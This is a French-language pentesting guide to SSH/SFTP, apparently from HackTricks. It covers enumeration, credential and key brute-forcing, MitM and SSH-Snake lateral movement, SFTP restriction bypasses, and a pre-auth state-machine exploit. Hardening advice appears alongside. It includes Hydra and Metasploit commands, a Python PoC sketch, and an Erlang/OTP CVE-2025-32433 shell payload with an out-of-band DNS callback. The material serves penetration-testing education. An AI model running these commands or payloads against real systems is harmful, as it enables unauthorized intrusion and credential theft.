22 - Pentesting SSH/SFTP

Reading time: 17 minutes

Informations de base

SSH (Secure Shell or Secure Socket Shell) est un protocole réseau qui permet une connexion sécurisée à un ordinateur via un réseau non sécurisé. Il est essentiel pour maintenir la confidentialité et l'intégrité des données lors de l'accès à des systèmes distants.

Port par défaut : 22

22/tcp open  ssh     syn-ack

Serveurs SSH :

• openSSH – OpenBSD SSH, fourni dans BSD, les distributions Linux et Windows depuis Windows 10
• Dropbear – implémentation SSH pour environnements à faibles ressources mémoire et processeur, fournie dans OpenWrt
• PuTTY – implémentation SSH pour Windows ; le client est couramment utilisé mais l'usage du serveur est plus rare
• CopSSH – implémentation d'OpenSSH pour Windows

Bibliothèques SSH (implémentant la partie serveur) :

• libssh – bibliothèque C multiplateforme implémentant le protocole SSHv2 avec des bindings en Python, Perl et R ; elle est utilisée par KDE pour sftp et par GitHub pour l'infrastructure git SSH
• wolfSSH – bibliothèque serveur SSHv2 écrite en ANSI C et destinée aux environnements embarqués, RTOS et à ressources limitées
• Apache MINA SSHD – la bibliothèque Java Apache SSHD est basée sur Apache MINA
• paramiko – bibliothèque Python du protocole SSHv2

Énumération

Banner Grabbing

nc -vn <IP> 22

ssh-audit automatisé

ssh-audit est un outil d'audit de configuration pour serveurs et clients ssh.

https://github.com/jtesta/ssh-audit is an updated fork from https://github.com/arthepsy/ssh-audit/

Fonctionnalités :

• prise en charge des serveurs utilisant les protocoles SSH1 et SSH2 ;
• analyser la configuration du client SSH ;
• récupérer la bannière, reconnaître l'appareil ou le logiciel et le système d'exploitation, détecter la compression ;
• rassembler les algorithmes d'échange de clés, host-key, chiffrement et message authentication code ;
• afficher des informations sur les algorithmes (disponible depuis, supprimé/désactivé, non sûr/faible/obsolète, etc.) ;
• afficher des recommandations d'algorithmes (ajouter ou supprimer selon la version du logiciel reconnue) ;
• afficher des informations de sécurité (problèmes liés, liste des CVE assignés, etc.) ;
• analyser la compatibilité des versions SSH en se basant sur les informations des algorithmes ;
• informations historiques provenant de OpenSSH, Dropbear SSH et libssh ;
• fonctionne sur Linux et Windows ;
• sans dépendances

usage: ssh-audit.py [-1246pbcnjvlt] <host>

-1,  --ssh1             force ssh version 1 only
-2,  --ssh2             force ssh version 2 only
-4,  --ipv4             enable IPv4 (order of precedence)
-6,  --ipv6             enable IPv6 (order of precedence)
-p,  --port=<port>      port to connect
-b,  --batch            batch output
-c,  --client-audit     starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n,  --no-colors        disable colors
-j,  --json             JSON output
-v,  --verbose          verbose output
-l,  --level=<level>    minimum output level (info|warn|fail)
-t,  --timeout=<secs>   timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>

See it in action (Asciinema)

Clé SSH publique du serveur

ssh-keyscan -t rsa <IP> -p <PORT>

Algorithmes de chiffrement faibles

Cela est détecté par défaut par nmap. Mais vous pouvez aussi utiliser sslcan ou sslyze.

Nmap scripts

nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods

Shodan

• ssh

Brute force usernames, passwords and private keys

Username Enumeration

Dans certaines versions d'OpenSSH, vous pouvez réaliser une timing attack pour enumerate users. Vous pouvez utiliser un module metasploit pour exploiter ceci :

msf> use scanner/ssh/ssh_enumusers

Brute force

Quelques identifiants ssh courants here et here et ci-dessous.

Private Key Brute Force

Si vous connaissez des ssh private keys qui pourraient être utilisées... tentons. Vous pouvez utiliser le script nmap:

https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html

Ou le module auxiliaire MSF:

msf> use scanner/ssh/ssh_identify_pubkeys

Ou utilisez ssh-keybrute.py (python3 natif, léger et avec les algorithmes legacy activés) : snowdroppe/ssh-keybrute.

Les badkeys connues se trouvent ici :

ssh-badkeys/authorized at master \xc2\xb7 rapid7/ssh-badkeys \xc2\xb7 GitHub

Clés SSH faibles / PRNG prévisible sur Debian

Certains systèmes présentent des failles connues dans la graine aléatoire utilisée pour générer le matériel cryptographique. Cela peut conduire à un espace de clés drastiquement réduit, susceptible d'être bruteforcé. Des jeux de clés pré-générés, produits sur des systèmes Debian affectés par un PRNG faible, sont disponibles ici : g0tmi1k/debian-ssh.

Vous devriez consulter ces ressources pour rechercher des clés valides pour la machine cible.

Kerberos / GSSAPI SSO

Si le serveur SSH cible prend en charge GSSAPI (par exemple Windows OpenSSH sur un contrôleur de domaine), vous pouvez vous authentifier en utilisant votre Kerberos TGT au lieu d'un mot de passe.

Flux de travail depuis un hôte attaquant Linux :

# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>

# 2) Generate a krb5.conf for the target realm (optional, but handy)
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf

# 3) Obtain a TGT for the user
kinit <user>
klist

# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>

Remarques:

• Si vous vous connectez avec le mauvais nom (par ex., nom court, alias, ou mauvais ordre dans /etc/hosts), vous pouvez obtenir : "Server not found in Kerberos database" parce que le SPN ne correspond pas.
• crackmapexec ssh --kerberos peut aussi utiliser votre ccache pour Kerberos auth.

Identifiants par défaut

SSH-MitM

Si vous êtes sur le réseau local de la victime qui va se connecter au serveur SSH en utilisant un nom d'utilisateur et un mot de passe, vous pouvez essayer de réaliser une attaque MitM pour voler ces identifiants :

Chemin d'attaque :

• Redirection du trafic : L'attaquant détourne le trafic de la victime vers sa machine, interceptant ainsi la tentative de connexion au serveur SSH.
• Interception et journalisation : La machine de l'attaquant joue le rôle de proxy, capturant les identifiants de connexion de l'utilisateur en se faisant passer pour le serveur SSH légitime.
• Exécution de commandes et relais : Enfin, le serveur de l'attaquant enregistre les identifiants, transmet les commandes au vrai serveur SSH, les exécute, et renvoie les résultats à l'utilisateur, rendant le processus transparent et légitime.

SSH MITM fait exactement ce qui est décrit ci-dessus.

Pour effectuer le MitM proprement dit, vous pouvez utiliser des techniques comme ARP spoofing, DNS spoofin ou d'autres décrites dans les Network Spoofing attacks.

SSH-Snake

Si vous souhaitez traverser un réseau en utilisant des clés privées SSH découvertes sur des systèmes, en utilisant chaque clé privée sur chaque système pour accéder à de nouveaux hôtes, alors SSH-Snake est ce qu'il vous faut.

SSH-Snake effectue automatiquement et de manière récursive les tâches suivantes :

1. Sur le système courant, trouver toutes les clés privées SSH,
2. Sur le système courant, trouver tous les hôtes ou destinations (user@host) où les clés privées peuvent être acceptées,
3. Tenter de SSH vers toutes les destinations en utilisant toutes les clés privées découvertes,
4. Si une destination est connectée avec succès, répéter les étapes #1 - #4 sur le système connecté.

C'est entièrement auto-réplicatif et auto-propagatif — et totalement fileless.

Mauvaises configurations

Connexion root

Il est courant que les serveurs SSH autorisent la connexion du user root par défaut, ce qui constitue un risque de sécurité important. Désactiver la connexion root est une étape critique pour sécuriser le serveur. L'accès non autorisé avec des privilèges administratifs et les attaques par brute force peuvent être atténués en appliquant ce changement.

Pour désactiver la connexion root dans OpenSSH :

1. Éditez le fichier de config SSH avec : sudoedit /etc/ssh/sshd_config
2. Changez la ligne de #PermitRootLogin yes à PermitRootLogin no.
3. Rechargez la configuration en utilisant : sudo systemctl daemon-reload
4. Redémarrez le serveur SSH pour appliquer les changements : sudo systemctl restart sshd

SFTP Brute Force

• SFTP Brute Force

Exécution de commandes via SFTP

Il existe une erreur courante dans les configurations SFTP, où les administrateurs veulent que les utilisateurs échangent des fichiers sans activer l'accès shell distant. Malgré le fait d'attribuer aux utilisateurs des shells non-interactifs (par ex., /usr/bin/nologin) et de les confiner à un répertoire spécifique, une faille de sécurité subsiste. Les utilisateurs peuvent contourner ces restrictions en demandant l'exécution d'une commande (comme /bin/bash) immédiatement après la connexion, avant que leur shell non-interactif ne prenne effet. Cela permet une exécution de commandes non autorisée, sapant les mesures de sécurité prévues.

Example from here:

ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0

$ ssh noraj@192.168.1.94 /bin/bash

Voici un exemple de configuration SFTP sécurisée (/etc/ssh/sshd_config – openSSH) pour l'utilisateur noraj:

Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no

Cette configuration autorisera uniquement SFTP : elle désactive l'accès shell en forçant la commande de démarrage et l'accès TTY, tout en bloquant tout type de port forwarding ou tunneling.

SFTP Tunneling

Si vous avez accès à un serveur SFTP, vous pouvez également acheminer votre trafic via celui-ci, par exemple en utilisant le port forwarding classique :

sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>

SFTP Symlink

Le sftp possède la commande "symlink". Par conséquent, si vous avez des droits d'écriture dans un dossier, vous pouvez créer des symlinks de d'autres dossiers/fichiers. Comme vous êtes probablement confiné à l'intérieur d'un chroot, cela ne vous sera pas particulièrement utile, mais, si vous pouvez accéder au symlink créé depuis un no-chroot service (par exemple, si vous pouvez accéder au symlink depuis le web), vous pourriez ouvrir les fichiers pointés par le symlink via le web.

Par exemple, pour créer un symlink depuis un nouveau fichier "froot" vers "/":

sftp> symlink / froot

Si vous pouvez accéder au fichier "froot" via le web, vous pourrez lister le dossier racine ("/") du système.

Méthodes d'authentification

Dans un environnement hautement sécurisé, il est courant d'activer uniquement l'authentification basée sur des clés ou l'authentification à deux facteurs plutôt que la simple authentification par mot de passe. Mais souvent, les méthodes d'authentification plus fortes sont activées sans désactiver les méthodes moins sûres. Un cas fréquent est d'activer publickey dans la configuration openSSH et de le définir comme méthode par défaut sans désactiver password. Ainsi, en utilisant le mode verbeux du client SSH, un attaquant peut voir qu'une méthode moins sûre est activée :

ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d  10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive

Par exemple, si une limite d'échecs d'authentification est définie et que vous n'avez jamais l'occasion d'atteindre la méthode password, vous pouvez utiliser l'option PreferredAuthentications pour forcer l'utilisation de cette méthode.

ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password

Il est nécessaire d'examiner la configuration du serveur SSH pour vérifier que seules les méthodes attendues sont autorisées. L'utilisation du mode verbeux côté client peut aider à évaluer l'efficacité de la configuration.

Fichiers de configuration

ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa

Fuzzing

• https://packetstormsecurity.com/files/download/71252/sshfuzz.txt
• https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2

Authentication State-Machine Bypass (Pre-Auth RCE)

Plusieurs implémentations de serveurs SSH présentent des défauts logiques dans la authentication finite-state machine qui permettent à un client d'envoyer des messages connection-protocol avant la fin de l'authentification. Parce que le serveur ne vérifie pas qu'il est dans l'état correct, ces messages sont traités comme si l'utilisateur était entièrement authentifié, conduisant à unauthenticated code execution ou à la création de session.

Au niveau du protocole, tout message SSH avec un message code ≥ 80 (0x50) appartient à la couche connection (RFC 4254) et ne doit être accepté qu'après une authentification réussie (RFC 4252). Si le serveur traite l'un de ces messages alors qu'il se trouve encore dans l'état SSH_AUTHENTICATION, l'attaquant peut immédiatement créer un channel et demander des actions telles que command execution, port-forwarding, etc.

Étapes génériques d'exploitation

1. Établir une connexion TCP vers le port SSH de la cible (généralement 22, mais d'autres services peuvent exposer Erlang/OTP sur 2022, 830, 2222…).
2. Construire un paquet SSH brut :

• 4 octets packet_length (big-endian)
• 1 octet message_code ≥ 80 (e.g. SSH_MSG_CHANNEL_OPEN = 90, SSH_MSG_CHANNEL_REQUEST = 98)
• Payload compatible avec le type de message choisi

3. Envoyer le(s) paquet(s) avant d'avoir terminé toute étape d'authentification.
4. Interagir avec les APIs du serveur qui sont maintenant exposées pre-auth (command execution, port-forwarding, file-system access, …).

Esquisse d'une preuve de concept en Python :

import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity – send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt  = struct.pack('>I', 1) + b'\x5a'  # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands

En pratique, vous devrez effectuer (ou ignorer) le key-exchange selon l'implémentation cible, mais no authentication n'est jamais effectuée.

Erlang/OTP sshd (CVE-2025-32433)

• Versions affectées : OTP < 27.3.3, 26.2.5.11, 25.3.2.20
• Cause racine : le daemon SSH natif d'Erlang ne vérifie pas l'état courant avant d'invoquer ssh_connection:handle_msg/2. Par conséquent, tout paquet avec un code de message 80-255 atteint le gestionnaire de connexion alors que la session est encore dans l'état userauth.
• Impact : unauthenticated remote code execution (le daemon tourne généralement en tant que root sur des appareils embedded/OT).

Exemple de payload qui génère un reverse shell lié au attacker-controlled channel:

% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").

Blind RCE / out-of-band detection peut être effectuée via DNS:

execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession

Détection et atténuation :

• Inspecter le trafic SSH : rejeter tout paquet avec un code de message ≥ 80 observé avant l'authentification.
• Mettre à niveau Erlang/OTP vers 27.3.3 / 26.2.5.11 / 25.3.2.20 ou une version ultérieure.
• Restreindre l'exposition des ports de gestion (22/2022/830/2222) – en particulier sur les équipements OT.

Autres implémentations affectées

• libssh 0.6 – 0.8 (server side) – CVE-2018-10933 – accepte un SSH_MSG_USERAUTH_SUCCESS non authentifié envoyé par le client, constituant effectivement le défaut logique inverse.

La leçon commune est que tout écart par rapport aux transitions d'état imposées par le RFC peut être fatal ; lors de la revue ou du fuzzing des daemons SSH, accordez une attention particulière à l'application de la machine d'état.

Références

• Unit 42 – Erlang/OTP SSH CVE-2025-32433
• SSH hardening guides
• Turgensec SSH hacking guide
• Pentesting Kerberos (88) – client setup and troubleshooting
• 0xdf – HTB: TheFrizz

HackTricks Commandes automatiques

Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening

Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh

Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'